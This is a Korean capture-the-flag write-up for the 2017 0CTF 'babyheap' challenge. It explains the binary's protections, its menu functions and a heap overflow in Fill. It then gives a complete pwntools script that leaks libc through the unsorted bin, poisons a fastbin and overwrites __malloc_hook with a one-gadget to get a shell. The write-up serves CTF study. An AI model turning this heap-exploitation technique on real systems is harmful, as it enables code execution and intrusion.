2017 0ctf babyheap

64비트 바이너리다.

babyheap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=9e5bfa980355d6158a76acacb7bda01f4e3fc1c2, stripped

보호기법은 다 걸려있다.

[*] '/vagrant/ctfs/babyheap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

각각 함수들의 기능들이다.

sub_B70 : 초기 세팅을 해주는데 mmap으로 랜덤으로 생성된 주소를 매핑해준다. 
Allocate : calloc을 이용해서 사이즈만큼 할당해준다. 이때 할당된 영역은 다 0으로 초기화해준다.
Fill : 인덱스로 접근해서 원하는 사이즈만큼 데이터를 쓸 수 있다.
Free : 인덱스를 해제해준다.
Dump : 인덱스를 출력해준다.
Exit : 종료해준다.

Fill 함수에서 취약점이 발생한다. chunk의 크기를 체크하지 않으므로 chunk 크기 이상의 데이터를 쓸 수 있다.

unsorted bin -> main_arena leak -> __malloc_hook -> oneshot

exploit.py

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'
e = ELF('./babyheap')
libc = e.libc
p = process('./babyheap')
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)

def allocate(size):
	sla(':','1')
	sla(':',str(size))

def fill(idx,size,content):
	sla(':','2')
	sla(':',str(idx))
	sla(':',str(size))
	sa(':',content)

def free(idx):
	sla(':','3')
	sla(':',str(idx))

def dump(idx):
	sla(':','4')
	sla(':',str(idx))

# fastchunk 4 smallchunk 1 allocate
allocate(0x20) # 0
allocate(0x20) # 1
allocate(0x20) # 2
allocate(0x20) # 3
allocate(0x80) # 4
# 0, 1, 2, 3, 4 

# (2) fd -> (1)
free(1)
free(2)
# 0, ?, ?, 3, 4

# overwrite (2) fd -> (4) smallchunk 
payload = p64(0) * 5 + p64(0x31) + p64(0) * 5 + p64(0x31) + p8(0xc0)
fill(0,len(payload),payload)

# smallchunk -> fastchunk size overwrite
payload1 = p64(0) * 5 + p64(0x31)
fill(3,len(payload1),payload1)

allocate(0x20) # 1
allocate(0x20) # 2 -> (4)

# small chunk (4)
payload2 = p64(0) * 5 + p64(0x91)
fill(3,len(payload2),payload2)

allocate(0x80) # (5)
# 0, 1, 2, 3, 4, 5

# unsorted bin 
free(4) # fd bk -> main_arena + 88
# 0, 1, 2, 3, ?, 5

dump(2) # 2 -> (4) = leak (4)

libc_base = u64(p.recvuntil('\x7f')[-6:]+'\x00\x00') - libc.symbols['__malloc_hook'] - 88 - 16
log.info('libc_base : '.format(hex(libc_base)))
oneshot = libc_base + 0x4526a
log.info('oneshot : {}'.format(hex(oneshot)))
malloc = libc_base + libc.symbols['__malloc_hook']
log.info('__malloc_hook : {}'.format(hex(malloc)))

allocate(0x68) # 4
free(4)
# 0, 1, 2, 3, ?, 5

fill(2,8,p64(malloc - 35)) # target (2) -> 4

allocate(0x60) # 4
allocate(0x60) # 6 -> (4) - __malloc_hook - 35

payload3 = 'A'*19 + p64(oneshot)
fill(6,len(payload3),payload3) # __malloc_hook -> oneshot

allocate(999) # allocate anysize

p.interactive()